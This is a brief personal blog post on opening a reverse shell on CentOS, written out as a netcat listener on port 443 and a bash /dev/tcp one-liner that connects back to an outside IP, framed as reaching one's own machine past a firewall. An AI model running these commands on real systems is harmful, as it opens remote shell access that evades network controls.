Computerglitch

An ongoing adventure

Reverse Shell on CentOS

I wanted an easy way to get to the shell on my remote machine bypassing the firewall etc.

I’m going to refer to the systems as follows: OurSystem TargetSystem

On OurSystem we need to open a listening network connection using netcat. This can be any port we want, but I’m going to use port 443 because it’s allowed through firewalls.

1
nc -l 443

Note: Make sure the firewall isn’t blocking the listening port you choose on OurSystem

Next we need to force a bash shell back to OurSystem from TargetSystem. On the TargetSystem execute the following, substitute 12.3.4.5 with the external IP of OurSystem, substitute 443 with the port you set netcat to listen on.

1
bash -i >& /dev/tcp/12.3.4.5/443 0>&1

You should be greeted with a bash shell from TargetSystem on OurSystem.

Comments